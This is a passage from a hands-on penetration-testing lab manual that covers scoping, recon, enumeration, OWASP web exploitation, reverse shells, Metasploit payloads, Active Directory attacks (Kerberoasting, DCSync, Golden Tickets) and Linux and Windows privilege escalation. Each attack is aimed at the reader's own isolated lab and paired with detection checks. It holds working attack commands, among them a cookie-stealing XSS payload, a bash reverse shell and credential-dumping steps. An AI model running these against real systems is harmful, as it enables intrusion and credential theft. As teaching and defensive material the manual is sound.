VOLUME II · PART B

Offensive Security

Attack everything you built — then prove the blue side caught it.

The attacker's half of the lab: methodology and rules of engagement, reconnaissance, enumeration, web exploitation, initial access, Active Directory, privilege escalation, lateral movement, C2, evasion, cloud, container and deep application offence — and the report that makes it a profession.

```
$ ./deploy --track red-team --mode operate
```

A direct continuation of *The Complete Lab Manual* and Volume II, Part A.

Same lab. Same rules. Authorised targets only — you own every one of them.

How Part B works

Part A made you a defender who can run a SOC. Part B makes you the attacker that SOC was built to catch — because the fastest way to become a great defender is to learn, hands-on, exactly how the offence thinks, moves, and leaves traces. Every module here ends the same way it did in Volume I: after you attack, you turn around and *verify the control or detection you built in the defensive volumes actually fired*. That attack/defend loop, run end to end across a whole environment, is what "purple team" means and what this volume is really teaching.

The rhythm is unchanged: **Theory** (why an attacker does this), **Objective** (what you will have when done), dark **command** blocks and light **config** blocks, **Red Team** attacks, **Verify** tests, and **Watch Out** warnings — now mostly about staying legal and staying employed.

> **WATCH OUT**
>
> **Read this once, internalise it forever.** Everything in Part B is a criminal offence against systems you neither own nor have written permission to test. The techniques are taught for one purpose: to defend the lab *you built and own*, on a network isolated from everything else. This volume uses only public, standard penetration-testing tools against your own machines; it deliberately does not teach you to build destructive or self-spreading malware. The boundary from Volume I is the boundary here, and it is absolute: *your lab, your authorisation, nowhere else.*

The arc runs in five movements. **Modules 34–38** take you from "I am authorised and I have a method" to "I have a shell." **Modules 39–42** are the dense core: domain compromise, privilege escalation on both Linux and Windows, and movement across the network. **Modules 43–45** cover command-and-control, the evasion concepts that make detection hard, and the post-exploitation that satisfies an objective. **Modules 46–47** attack the cloud and the cluster you hardened. **Modules 48–51** go deep on the application layer the Module 37 basics only opened: API security, authentication/JWT/OAuth, advanced server-side exploitation, and white-box source review with client-side attacks. **Modules 52–53** turn it all into the report that is the real deliverable, and a full-environment kill chain that proves the whole thing connects. The closing checklist (Module 54) folds Part B into one security-engineering mastery list.

Contents

MODULE 34

Pentest Methodology, Scoping & Rules of Engagement

Part A taught you to defend. Part B puts you in the attacker's chair — not to break things for fun, but because you cannot defend what you have never attacked methodically. Before a single packet, a professional attacker does the least glamorous and most important thing: defines exactly what is in scope, gets that authorisation in writing, and follows a repeatable method. This module is the discipline that separates a penetration tester from a criminal.

THEORY

Pentest vs vulnerability scan vs red team. A **vulnerability scan** (your Module 7 OpenVAS) lists *potential* weaknesses automatically. A **penetration test** confirms which are *actually* exploitable and chains them to demonstrate impact, within a defined scope and time-box, and reports every finding. A **red-team engagement** is broader and stealth-focused: emulate a specific adversary against the whole organisation (people, process, tech) to test *detection and response*, not just find bugs. This volume is structured as a pentest — comprehensive and methodical — with red-team flavour where it teaches you something.

THEORY

The method (PTES). Real engagements follow a lifecycle so nothing is missed: *pre-engagement* (scope, rules, authorisation) → *intelligence gathering* (Module 35) → *threat modelling* → *vulnerability analysis* (Module 36) → *exploitation* (Modules 37–38) → *post-exploitation* (privesc, lateral movement, looting — Modules 40–45) → *reporting* (Module 48). The Cyber Kill Chain and MITRE ATT&CK are the attacker's map of the same terrain you mapped defensively in Module 18 — now you walk it from the other side.

34.1 The non-negotiable: authorisation & rules of engagement

WATCH OUT

This is the whole game, legally. Everything in Part B is illegal against systems you do not own or lack written permission to test — in most countries, a criminal offence regardless of intent or "I was just learning." The only thing that makes a tester a tester is *authorisation*. In this volume, that authorisation is trivial because *you own every target* and the lab is isolated. But you must build the habit now, because the habit is what keeps you employed and out of court later. Never point these techniques at anything outside your own isolated lab.

◎ OBJECTIVE

A written Rules of Engagement (RoE) and scope document for your own lab, exactly as you would produce for a client — so the professional reflex is wired in before you touch a single target.

A real RoE answers, in writing and signed before work starts:

- **Scope** — which IPs/domains/apps are in scope, and explicitly what is *out* (e.g. the firewall management plane, the SIEM).
- **Rules** — allowed techniques (is social engineering in? DoS? physical?), test windows, and a "stop" / emergency-contact procedure.
- **Authorisation** — a signed statement from someone empowered to authorise testing of those assets (the "get-out-of-jail" letter).
- **Handling** — how you store findings and any data accessed, and how you prove cleanup afterwards.

```
# roe-lab.txt -- your own engagement contract (write it even for your lab)
ENGAGEMENT:   Internal pentest -- Secure Network Engineering Lab
SCOPE (IN):   10.10.10.0/24, 10.10.30.0/24, web-dmz, dc-ipa, vuln-app
SCOPE (OUT):  the host hypervisor, the firewall GUI, anything off-lab
WINDOW:       any time -- isolated lab, single operator (me)
ALLOWED:      network, web, AD, privesc, lateral, lab-only C2
FORBIDDEN:    any target with a route off the lab; destructive payloads
AUTHORISED BY: <you>, owner of all listed assets, on <date>
CLEANUP:      revert VM snapshots; remove dropped files; document everything
```

THEORY

Black, grey, white box. Engagements vary by how much the tester knows up front. *Black box*: no prior knowledge, simulate an external attacker (most realistic, slowest). *White box*: full docs, source, credentials (most thorough per hour). *Grey box*: a realistic middle — a foothold or a low-priv account, simulating an insider or a phished employee. Your lab lets you practise all three; do the AD and web modules grey-box (you have a low-priv user) to mirror the most common real scenario: "assume breach."

VERIFY IT WORKS

You can hand someone your RoE and they know exactly what you may and may not touch, who authorised it, and how you will prove you cleaned up. That document — not any tool — is the first deliverable of every engagement. Re-read your Volume I Module 0 topology and confirm every in-scope asset maps to a real lab VM.

MODULE 35

Reconnaissance & OSINT

An attacker who scans first and thinks later gets caught and gets nowhere. Reconnaissance is building the most complete picture of the target *before* engaging — often without sending it a single packet. This is the offensive mirror of the threat-intel you built in Module 23: same data, opposite goal.

THEORY

Passive vs active recon. *Passive* reconnaissance gathers information without touching the target's systems — public DNS, certificate-transparency logs, search engines, breach data, social media. The target sees nothing, so there is nothing to detect. *Active* reconnaissance interacts directly (DNS queries to their servers, pings, banner grabs) and *is* observable. Professionals exhaust passive sources first, because every active packet is a chance to be logged by exactly the sensors you built in Part A.

35.1 Footprinting the target

◎ **OBJECTIVE**

A recon dossier on your lab's "external" surface (the WAN side of the firewall and `web.lab.local`): domains, subdomains, exposed services, and any metadata an attacker could leverage — assembled the way you would profile a real client before touching them.

```
# --- passive: ask third parties, not the target ---
whois lab.local                          # registration / ownership (real domains)
dig lab.local ANY +noall +answer         # records that exist for the domain
# certificate transparency reveals subdomains people forget are public:
#   crt.sh, censys -- query their public web/APIs for *.lab.local
# email + name harvesting from public sources (mirror of M30 phishing recon):
theHarvester -d lab.local -b all         # emails, hosts, names from OSINT sources
# subdomain enumeration combines many passive sources:
amass enum -passive -d lab.local         # OWASP Amass, passive mode = no target
    ↪ traffic
```

```
# --- active: now you touch the target (observable!) ---
dnsrecon -d lab.local -n 10.10.10.5      # query the lab DNS directly
dig @10.10.10.5 lab.local AXFR           # attempt a zone transfer (classic
    ↪ misconfig)
host -l lab.local 10.10.10.5             # list all records IF transfer is allowed
```

THEORY

What recon feeds. Every item you find is an attack-surface entry: a forgotten subdomain is an unpatched server; a harvested email is a phishing target (Module 38) and a username-format clue for password attacks (Module 39); a leaked zone transfer hands you the entire internal map for free. The *attack surface* is simply the sum of everything reachable — and your job in

recon is to make that sum as complete as the defender's inventory should be.

RED TEAM — ATTACK

Find the win the defender forgot. A zone transfer (`AXFR`) succeeding is a real-world jackpot and a common misconfiguration: it dumps every DNS record — internal hostnames, mail servers, dev boxes — in one request. Run it against your lab DNS. If it succeeds, you just mapped the network without a port scan. (If you hardened the DC properly in Volume I, it should refuse the transfer to anyone but a secondary — confirm that too.)

VERIFY IT WORKS

You can draw the target's external surface from your dossier alone: which hostnames exist, which resolve to the DMZ, which services they imply. Now flip to defence: the active steps you ran (zone-transfer attempt, direct DNS queries) should appear in the DNS logs you forward to the SIEM (Module 8) and may trip a Zeek `dns.log` anomaly (Module 27). Recon is quiet, but *active* recon is not invisible — you just proved it from both sides.

MODULE 36

Scanning & Enumeration at Depth

Module 6 ran `nmap` to *generate alerts*. Now you run it to *build an attack plan*. Enumeration — methodically extracting every detail from every exposed service — is where engagements are actually won. The maxim is real: *enumeration is eighty percent of the work; exploitation is the easy part once you have enumerated properly.*

THEORY

The enumeration mindset. A port being open is the question, not the answer. Each open port runs a service; each service has a version, a configuration, often users and shares, sometimes default credentials. The discipline is: discover hosts → discover ports → identify services and versions → *enumerate each service deeply* → only then look for exploits. Skipping the deep step is why beginners get stuck; doing it thoroughly is why professionals rarely do.

36.1 From sweep to service detail

◎ **OBJECTIVE**

A complete enumeration of `web-dmz` (10.10.30.10) and the directory host `dc-ipa` (10.10.10.5): every open port, service, version, and per-service detail, captured as a structured note you could hand to a teammate.

```
# layered nmap: fast discovery, then deep on what is open
nmap -sn 10.10.30.0/24                          # host discovery (who is alive)
nmap -p- --min-rate 2000 10.10.30.10            # all 65535 ports, fast
nmap -sV -sC -p 22,80,443 10.10.30.10           # versions + default NSE
    ↪ scripts
nmap -sV --script "vuln" 10.10.30.10            # known-vuln NSE category
# always save machine-readable output for the report and for tool hand-off:
nmap -sV -sC -oA scans/web-dmz 10.10.30.10      # .nmap/.gnmap/.xml
```

36.1.1 Per-service enumeration — where the wins hide

```
# --- SMB / Windows shares (often the fastest path in) ---
enum4linux-ng -A 10.10.10.5                     # users, shares, OS, policy
smbclient -L //10.10.10.5/ -N                   # list shares, null session?
nxc smb 10.10.10.5 --shares -u '' -p ''         # netexec: anonymous share
    ↪ check

# --- LDAP / directory (mirror of your Module 1 setup) ---
ldapsearch -x -H ldap://10.10.10.5 -b "dc=lab,dc=local"   # anonymous bind dump?

# --- web services ---
whatweb http://10.10.30.10                      # tech stack fingerprint
gobuster dir -u http://10.10.30.10 -w /usr/share/wordlists/dirb/common.txt
nikto -h http://10.10.30.10                     # server misconfig + known
    ↪ issues
```

```
# --- other classics worth a look on any target ---
snmpwalk -v2c -c public 10.10.30.10              # SNMP "public" leaks
    ↪ everything
showmount -e 10.10.30.10                         # exported NFS shares
```

THEORY

Null sessions, anonymous binds, and default creds. The recurring lesson: services frequently allow *some* access with no credentials — an SMB null session listing shares and users, an anonymous LDAP bind dumping the directory, SNMP community string `public`, a default `admin/admin`. Enumeration finds these for free, and they are the single most common real foothold. Your defensive hardening (Volume I) was largely about closing exactly these; attacking them teaches you why each control mattered.

RED TEAM — ATTACK

Enumerate the directory like an attacker with one foothold. Re-run the Module 1 `ldapsearch` as a valid low-priv user, but this time extract everything useful for the next module: all usernames (your password-spray list), group memberships (who is privileged), and service-principal names (your Kerberoasting targets in Module 39).

VERIFY IT WORKS

Your enumeration note answers, per host: which ports, which services and versions, which exposed any unauthenticated access, and which suggest a known vulnerability. On the blue side, this whole module is loud: Suricata flags the port scan (Module 6), Zeek's `conn.log` shows the fan-out (Module 27), and the SMB/LDAP enumeration hits the directory logs. Confirm your Part A detections fired — you are running the exact attack your SOC was built to catch, on purpose.

MODULE 37

Web Application Exploitation (OWASP Top 10)

Web apps are the largest internet-facing attack surface, so they are where most external breaches begin. This module exploits the OWASP Top 10 hands-on against the deliberately vulnerable app you provisioned in Volume I (`vuln-app`: OWASP Juice Shop or DVWA) — then turns the WAF from Module 6/9 back on and watches the same attacks die, so you learn offence and defence on one target.

THEORY

The OWASP Top 10, in one breath. The community's ranking of the most critical web risks: *Broken Access Control* (acting outside your permissions — now #1), *Cryptographic Failures*, *Injection* (SQL, command, etc.), *Insecure Design*, *Security Misconfiguration*, *Vulnerable Components*, *Identification & Authentication failures*, *Software & Data Integrity failures*, *Logging & Monitoring failures* (the defensive gap Part A fixed), and *SSRF*. You will exploit the heavy hitters below; each maps to a real CWE and an ATT&CK technique.

◎ **OBJECTIVE**

A working exploit for each major class — injection, XSS, broken access control / IDOR, authentication bypass, file upload, and SSRF — against `vuln-app`, captured with the request/response evidence you would put in a report.

THEORY

Burp Suite is the core tool. Almost all web testing runs through an intercepting proxy. Burp Suite (Community is free) sits between browser and server so you can read, modify, and replay every request: *Proxy* intercepts, *Repeater* replays a tweaked request, *Intruder* automates payload sets, *Decoder* handles encodings. Point your browser at Burp (127.0.0.1:8080), trust its CA (the same TLS-interception idea as the Module 4 SSL Bump, but for you), and every exploit below is "find the request, change one thing, observe."

37.1 Injection (SQLi)

THEORY

SQL injection happens when user input is concatenated into a query instead of parameterised, so input becomes *code*. The classic auth bypass makes the `WHERE` clause always true; `UNION` injection appends attacker-chosen columns to leak other tables. The fix is always parameterised queries / prepared statements — never string-building.

```
# in a login or search field, the canonical tests:
'  OR  1=1 --                        # auth bypass: make the WHERE always true
' UNION SELECT username,password FROM users --    # leak another table
```

```
# automate confirmation + extraction (against your lab app only):
sqlmap -u "http://10.10.30.10/rest/products/search?q=test" --batch --dbs
sqlmap -u "http://10.10.30.10/rest/products/search?q=test" --batch --dump -D
    ↪ appdb
```

37.2 Cross-Site Scripting (XSS)

THEORY

XSS injects attacker JavaScript that runs in another user's browser. *Reflected* bounces off a parameter into the page; *stored* persists (a review, a comment) and hits every viewer; *DOM-based* happens entirely client-side. Impact: session-cookie theft, action-on-behalf, defacement. The fix is contextual output encoding plus a Content-Security-Policy.

```
# probe inputs (search box, profile name, review) with escalating payloads:
<script>alert(document.domain)</script>            # does script execute?
<img src=x onerror=alert(1)>                         # when <script> is filtered
"><svg onload=alert(1)>                               # break out of an attribute
# stored XSS proof-of-concept: a payload that would exfil a cookie to YOUR lab
    ↪ box
<script>new Image().src='http://10.10.10.66/c?'+document.cookie</script>
```

37.3 Broken Access Control & IDOR

THEORY

The #1 risk: the app authenticates you but does not properly check *authorisation* per object. **IDOR** (Insecure Direct Object Reference) is the everyday form — change an `id` in the URL or body and read someone else's data because the server never checks ownership.

```
# you are user 12; the app trusts the id without checking ownership:
GET /api/users/12/basket      ->  change to  ->  GET /api/users/13/basket
# also test: forced browsing to admin paths, tampering a role= or isAdmin= field,
# and accessing an API endpoint directly that the UI only shows to admins.
```

37.4 Authentication, file upload & SSRF

```
# --- broken authentication ---
hydra -L users.txt -P rockyou.txt 10.10.30.10 http-post-form \
  "/login:user=^USER^&pass=^PASS^:Invalid"     # credential attack on the form
# weak JWT: try alg=none, or crack a weak HMAC secret offline, then forge a token.
    ↪

# --- malicious file upload (-> code execution if the server runs it) ---
# upload a webshell disguised past weak filters, then browse to it:
#   shell.php  ->  rename to  shell.php.jpg / shell.pHp / add magic bytes
curl "http://10.10.30.10/uploads/shell.php?cmd=id"    # if it executed, you have
    ↪ RCE
```

```
# --- SSRF: make the SERVER fetch a URL you choose (huge in cloud -> Module 46!)
    ↪ ---
POST /api/fetch  { "url": "http://127.0.0.1:8080/admin" }   # reach internal-only
    ↪  svc
```

WATCH OUT

SSRF is the bridge to the cloud module. Note that last payload: if this app ran on an AWS instance, an attacker would point the SSRF at the instance metadata service to steal IAM credentials — the exact technique you will run in Module 46. Web exploitation does not stop at the web tier; it is frequently the first link in a cloud-compromise chain.

RED TEAM — ATTACK

Then turn the WAF on. Re-run every exploit above against the on-prem ModSecurity/CRS reverse proxy (Module 6) and the AWS WAF (Module 9). The injection and XSS probes that succeeded against the naked app now return `403 Forbidden` and land in `modsec_audit.log` with the matched rule. This is the purple-team payoff: you see exactly which findings the WAF mitigates — and which (logic flaws like IDOR) it does *not*, because a WAF cannot know your authorisation rules.

VERIFY IT WORKS

For each class you have a captured request/response proving exploitation, the data or access it yielded, and a one-line remediation (parameterise queries, encode output, check ownership server-side, validate uploads, allow-list SSRF destinations). That trio — proof, impact, fix — is the shape of every web finding in your Module 52 report. And you have watched the WAF block the injectable classes while the access-control flaws sail through, which is precisely why "defence in depth" includes fixing the app, not just bolting on a WAF. The deeper application classes — APIs, JWT/OAuth, server-side template injection, insecure deserialization, and source review — are a track of their own in Modules 48–51.

MODULE 38

Initial Access: Payloads, Phishing & the First Shell

Recon and enumeration found the door; web exploitation may have cracked it. This module is about turning a vulnerability into *interactive control of a machine* — the first shell — and the delivery methods that get you there. It is the offensive mirror of Module 30 (email) and Module 31 (sandbox): the same payload a defender detonates safely, an attacker delivers for real.

THEORY

Initial-access vectors. The common first footholds: a *public-facing exploit* (the web RCE from Module 37, an unpatched service from Module 36), *valid credentials* (phished, sprayed, or leaked — Module 39), a *phishing payload* a user runs, or an *exposed service* with default creds. ATT&CK groups these under Initial Access (TA0001). In a grey-box lab you often start with one of these handed to you ("assume breach"); here you earn it.

38.1 Shells: reverse vs bind, and catching one

THEORY

The mechanics of a shell. A *bind* shell opens a listening port *on the target* for you to connect to — but inbound firewall rules (your Module 3 work!) usually block that. A *reverse* shell makes the *target connect out to you*, which sails through most egress rules — exactly why egress filtering and the Zeek beaconing hunt (Module 27) matter. You run a *listener*; the payload calls home to it.

```
# attacker (Kali): start a listener to catch the callback
nc -lvnp 4444                                   # or: rlwrap nc -lvnp 4444
# target: a reverse shell one-liner (delivered via the RCE / upload from M37)
bash -i >& /dev/tcp/10.10.10.66/4444 0>&1       # bash reverse shell
# stabilise a raw shell into a real TTY (so Ctrl-C, tab, vim work):
python3 -c 'import pty;pty.spawn("/bin/bash")'   # then: Ctrl-Z; stty raw -echo;
    ↪ fg
```

38.2 The framework: Metasploit

THEORY

Why a framework. Metasploit standardises the find-exploit-payload-handle loop: a database of exploit modules, configurable payloads (including the `meterpreter` post-exploitation agent), and `multi/handler` to catch sessions. It is the training-wheels of exploitation — transparent enough to learn the steps, which is why OSCP-style work also makes you do them by hand.

```
msfconsole -q
search type:exploit name:<service-you-enumerated>
use exploit/path/to/module
set RHOSTS 10.10.30.10
set LHOST 10.10.10.66            # your listener
set PAYLOAD linux/x64/meterpreter/reverse_tcp
exploit                          # -> a session if the target is vulnerable
```

```
# msfvenom generates a payload to deliver via the M37 upload / a phishing lure.
# (lab targets only -- this is the standard tester workflow, not malware
    ↪ authoring)
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.10.66 LPORT=4444 \
         -f elf -o payload.elf
# then catch it:  use exploit/multi/handler  ; set the same PAYLOAD/LHOST/LPORT
```

38.3 Phishing delivery (lab simulation)

RED TEAM — ATTACK

Close the loop with Module 30. Send a lab-internal phishing email (via `swaks`, your own mail server) carrying a link to a credential-harvesting page or a payload, to a lab mailbox you control. This is the offensive side of the email-security module: you craft the lure, the user "clicks," and the payload calls back to your listener.

WATCH OUT

The line, restated. You are generating standard reverse shells and test payloads with public tools, against your own isolated lab. That is exactly the OSCP/PNPT workflow. What this volume never does — and you should never do — is build self-propagating, destructive, or evasive malware, or aim any of this at a system outside your lab. The skill is access and demonstration, not destruction.

VERIFY IT WORKS

You have an interactive shell on a lab target, upgraded to a usable TTY, obtained through a vector you found yourself (web RCE, vulnerable service, or phished payload). Now confirm the blue side: the callback should surface as a new outbound connection in Zeek (Module 27), the payload should be catchable by the sandbox/EDR path (Modules 31, 26), and the phishing email should fail DMARC if you spoofed a sender (Module 30). You have your foothold — everything from Module 39 onward is what an attacker does *after* the door opens.

MODULE 39

Active Directory: The Full Attack Path

You stood up a directory in Module 1 and were told it is "the crown jewel." Now you take it. Active Directory is the single richest target in enterprise security: compromise it and you own every joined machine and account. This module walks the complete kill chain — enumerate, harvest credentials, find the escalation path, achieve domain dominance — against your own directory, and ties each step to the Windows detection you built in Module 12.

THEORY

Why AD falls, and the shape of the attack. AD's power is also its weakness: it is a giant, queryable database of every user, group, computer, and trust, and *any authenticated user can read most of it*. The attack lifecycle is always the same shape: *enumerate* (read the directory, map relationships) → *harvest credentials* (roast, spray, dump) → *escalate* (follow a misconfiguration chain to a privileged account) → *dominate* (extract every secret, forge tickets, persist). You begin grey-box, as a real attacker does after one phish: holding a single low-privilege domain user (`jdoe` from Module 1).

39.1 Enumerate: see the whole domain

◎ **OBJECTIVE**

A complete map of `lab.local` from one low-priv account: every user, group, computer, ACL, and — crucially — the shortest path from where you stand to Domain Admin, visualised in BloodHound.

```
# collect the entire directory graph as a low-priv user (the attacker's first
    ↪ move)
bloodhound-python -d lab.local -u jdoe -p '<pass>' -c All -ns 10.10.10.5
# or from Windows: SharpHound.exe -c All
# load the JSON into the BloodHound GUI, then run built-in queries:
#   "Shortest Path to Domain Admins"   <- the entire engagement in one graph
#   "Kerberoastable users", "AS-REP roastable users", "Unconstrained delegation"
# raw enumeration without BloodHound, for when you only have a shell:
nxc ldap 10.10.10.5 -u jdoe -p '<pass>' --users --groups
GetADUsers.py -all lab.local/jdoe -dc-ip 10.10.10.5        # impacket user list
```

THEORY

BloodHound thinks in paths, not lists. The breakthrough idea: AD compromise is rarely one exploit; it is a *chain* of small, legitimate-looking rights ("jdoe can reset bob's password," "bob is admin on SRV01," "SRV01 has a DA session"). BloodHound ingests users, groups, sessions, and ACLs and computes the *shortest path* between any two nodes — turning a pile of permissions into a clickable route to the top. Defenders use the same graph to find and cut those paths (the tiering you learned in Module 12).

39.2 Harvest credentials: roasting & spraying

THEORY

Kerberos roasting, the two flavours. Kerberoasting (T1558.003): any user can request a service ticket (TGS) for any account with a Service Principal Name; that ticket is encrypted with the service account's password hash, so you crack it *offline* — and service accounts often have weak, never-rotated passwords. **AS-REP roasting (T1558.004)**: accounts with "do not require Kerberos pre-authentication" set will hand you a crackable blob with no credentials at all. Both are loud in exactly one way — they generate distinctive Kerberos events.

```
# Kerberoast: request TGS tickets for every SPN account, then crack offline
GetUserSPNs.py lab.local/jdoe -dc-ip 10.10.10.5 -request -outputfile spns.txt
hashcat -m 13100 spns.txt rockyou.txt        # 13100 = Kerberos TGS-REP (RC4)
# AS-REP roast: pull blobs for accounts without pre-auth, then crack
GetNPUsers.py lab.local/ -usersfile users.txt -dc-ip 10.10.10.5 -format hashcat
hashcat -m 18200 asrep.txt rockyou.txt        # 18200 = AS-REP
# password spraying: ONE password against MANY users (avoids lockout)
nxc smb 10.10.10.5 -u users.txt -p 'Spring2025!' --continue-on-success
```

WATCH OUT

Spraying vs brute force — the lockout trap. Never brute-force one account with many passwords against a real domain: you trip the account-lockout policy and announce yourself. *Spray* instead — one common password across all users, then wait out the lockout window before the next. Know the policy first (`net accounts` / from your enumeration) so you stay under the threshold. This is operational discipline, not a tool.

39.3 Dominate: from a privileged account to the whole domain

THEORY

Domain dominance techniques. Once a path lands you on a privileged account: **DCSync (T1003.006)** abuses replication rights to ask the DC for *any* account's hash — including `krbtgt` — without touching the DC's disk. With the `krbtgt` hash you forge a **Golden Ticket**: a TGT for any user, any group, valid for years — total, persistent control. A **Silver Ticket** forges a service ticket for one service. And `secretsdump` pulls the entire `NTDS.dit` (every domain hash) once you are admin on the DC.

```
# DCSync: pull the krbtgt hash (needs replication rights you escalated to)
secretsdump.py lab.local/admin@10.10.10.5 -just-dc-user krbtgt
# forge a Golden Ticket with the krbtgt hash (impacket)
ticketer.py -nthash <krbtgt-hash> -domain-sid <SID> -domain lab.local
    ↪ Administrator
# dump every hash in the domain once you own the DC
secretsdump.py lab.local/admin@10.10.10.5     # -> the full NTDS.dit
```

RED TEAM — ATTACK

Run the chain, then read it from the blue side. Execute it end to end against `lab.local`: BloodHound a path, Kerberoast a service account, crack it, escalate along the path, DCSync `krbtgt`. Now open the Windows logs from Module 12 and find your own footprints.

VERIFY IT WORKS

Every step you ran left a Module 12 signature: the Kerberoast produced `Event 4769` with *Ticket Encryption Type 0x17 (RC4)* for an SPN — a high-fidelity Kerberoasting detection; the DCSync produced `Event 4662` with the DS-Replication GUID; and any attempt against the *honey account* you planted in Module 28 fired a near-zero-false-positive alert. Confirm each in your SIEM (Module 8) and map them to ATT&CK in your coverage matrix (Module 18). You have now attacked and detected the exact techniques that "dominate real red-team engagements" — on a directory you own.

MODULE 40

Privilege Escalation: Linux

A shell is rarely root. Privilege escalation is the bridge from the low-privilege foothold you got in Module 38 to full control of the host — and on Linux it is almost always a *misconfiguration*, not a memory-corruption exploit. This module is a deep, methodical tour of the local-privesc landscape, anchored in the kernel primitives you learned defensively in Module 11.

THEORY

Enumeration first, always. The same maxim as Module 36, applied locally: you do not guess, you enumerate the host exhaustively and the path reveals itself. Automated scripts surface the obvious; understanding *why* each finding is exploitable is what makes you fast. **GTFOBins** is the indispensable reference — a catalogue of ordinary binaries and exactly how each can be abused to break out, read files, or escalate when it runs with extra privilege.

◎ **OBJECTIVE**

Root on a lab host (`web-dmz` or `proxy-squid`) reached from a low-priv shell, by finding and abusing at least three distinct misconfiguration classes — and the matching one-line fix for each.

```
# automated enumeration -- run first, read everything it flags
./linpeas.sh | tee linpeas.out       # the standard Linux privesc enumerator
# the manual checks that matter most, by hand:
sudo -l                              # what may I run as root? (the #1 win)
find / -perm -4000 -type f 2>/dev/null   # SUID binaries (cross-ref GTFOBins)
getcap -r / 2>/dev/null              # file capabilities (ties to Module 11)
cat /etc/crontab; ls -la /etc/cron.* # scheduled jobs -- writable script? PATH
    ↪ abuse?
id; groups                           # am I in 'docker'/'lxd'/'disk'? instant
    ↪ root
uname -a; cat /etc/os-release        # kernel/distro -> known kernel exploit? (
    ↪ last resort)
```

40.0.1 The high-value vectors

THEORY

sudo misconfiguration. `sudo -l` is the first thing you read. A `NOPASSWD` entry for any binary in GTFOBins is usually instant root (e.g. `sudo` on `find`, `vim`, `less`, `python` lets you spawn a root shell). A too-broad rule, an editable wildcard, or a vulnerable `sudo` version (the Baron Samedit class) all escalate. The defensive lesson from Module 7 (scope sudo to the *exact* command) is exactly what its absence costs here.

```
# example: sudo allows running a GTFOBins binary as root -> shell escape
sudo find . -exec /bin/sh \; -quit          # if 'find' is NOPASSWD root
sudo vim -c ':!/bin/sh'                       # if 'vim' is NOPASSWD root
```

THEORY

SUID binaries & capabilities. A SUID binary runs as its owner (often root) regardless of who launches it; if it is on GTFOBins, you escalate. **Capabilities** (Module 11) are the finer-grained version: `cap_setuid` on a Python or Perl binary is game over, because the program can set its UID to 0 itself. You hardened with capabilities to *break up* root; here you see what a single mis-granted capability hands an attacker.

```
# capability abuse: a binary with cap_setuid can become root directly
getcap -r / 2>/dev/null                          # find it
./python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'   # if it has
    ↪ cap_setuid+ep
```

THEORY

Cron, PATH, writable files, and group membership. A root cron job calling a *writable* script or a relative binary name (PATH hijack) lets you run code as root on a timer. A world-writable `/etc/passwd` lets you add a root user. And membership in the `docker`, `lxd`, or `disk` group is effectively root already — the `docker` group can mount the host filesystem into a container (the same escape you will weaponise in Module 47).

```
# docker-group member -> root by mounting the host (preview of Module 47)
docker run -v /:/host --rm -it alpine chroot /host sh    # now root on the HOST
```

VERIFY IT WORKS

You reached root by at least three routes (say: a NOPASSWD GTFOBins binary, a SUID/capability abuse, and a writable cron or docker-group escape), and for each you can state the fix: scope sudo to the exact command (Module 7), drop the SUID bit / capability (Module 11), make root cron scripts non-writable, and never put untrusted users in `docker`. On the blue side, your Module 26 osquery pack already hunts SUID binaries and rogue cron, and `auditd` (Module 11) records the privileged actions — confirm the escalation is visible in the telemetry you ship to the SIEM.

MODULE 41

Privilege Escalation: Windows

The majority of enterprise endpoints are Windows, so this is the privesc you will use most in the field — and it is a completely different ecosystem from Module 40. Here you go from a standard user to `NT AUTHORITY\SYSTEM` (or local admin) by abusing service configuration, token privileges, and harvested credentials. Each technique maps to the Sysmon/Event telemetry you deployed in Module 12.

THEORY

The Windows privesc map. Five families cover most of it: *service misconfiguration* (unquoted paths, weak service/registry permissions), *dangerous token privileges* (`SeImpersonate`, `SeBackup`, `SeDebug`), *registry/installer flaws* (`AlwaysInstallElevated`, autoruns), *DLL hijacking* (a service loads a DLL from a writable path), and *credential harvesting* (SAM, LSASS, stored secrets, GPP). Enumerate first — the same discipline as Linux, different tools.

◎ OBJECTIVE

`SYSTEM` or local-admin on a Windows lab endpoint (the `win-endpoint` from Volume I) from a standard user, via a service or token abuse, plus one credential-harvesting win — each with its fix.

```
# automated enumeration first
.\winPEASx64.exe                          # the Windows privesc enumerator
powershell -ep bypass; Import-Module .\PowerUp.ps1; Invoke-AllChecks   # service/
    ↪ perm flaws
.\Seatbelt.exe -group=all                 # broad host survey
whoami /priv                              # YOUR privileges -- the token-abuse
    ↪ shortlist
whoami /groups                            # group memberships
```

41.0.1 Service & token abuse — the workhorses

THEORY

Service misconfiguration. An **unquoted service path** with spaces (`C:\Program Files\...`) lets Windows try `C:\Program.exe` first — drop your binary there and the service runs it as SYSTEM. **Weak service permissions** let you rewrite the service's `binPath` to your payload. **Weak registry permissions** on the service key do the same. `PowerUp` finds all three automatically.

```
# weak service permissions: point the service at your command, then restart it
sc config <vulnsvc> binPath= "C:\Windows\Temp\rev.exe"
sc stop <vulnsvc> && sc start <vulnsvc>      # runs as SYSTEM
```

THEORY

Token-privilege abuse — the "Potato" family. If `whoami /priv` shows `SeImpersonatePrivilege` (common on service accounts and IIS/MSSQL contexts), you can impersonate a SYSTEM token and escalate with **PrintSpoofer** or the RoguePotato/JuicyPotato line. `SeBackupPrivilege` lets you read protected files like the SAM and `NTDS.dit`; `SeDebugPrivilege` lets you touch any process, including LSASS. These privileges *are* the escalation — no exploit needed.

```
# SeImpersonate -> SYSTEM (PrintSpoofer is the reliable modern technique)
PrintSpoofer64.exe -i -c cmd          # spawns a SYSTEM shell
# SeBackupPrivilege -> copy the SAM/SYSTEM hives, then extract hashes offline
reg save HKLM\SAM sam.hive ; reg save HKLM\SYSTEM system.hive
secretsdump.py -sam sam.hive -system system.hive LOCAL
```

THEORY

Credential harvesting. Even without escalation, found credentials move you forward: cached **GPP** passwords (the infamous `cpassword` in SYSVOL, AES key is public), credentials in files/registry/scheduled tasks, browser stores, and — as SYSTEM — the **LSASS** process memory where logged-on users' secrets live. Dumping LSASS (the technique behind "pass-the-hash," Module 42) is the bridge from one host to the whole network.

RED TEAM — ATTACK

Escalate, then harvest. On `win-endpoint`: use `PowerUp/winPEAS` to find a service or token flaw, escalate to SYSTEM, then harvest credentials (SAM hives, and from LSASS) — the loot that feeds lateral movement next module.

VERIFY IT WORKS

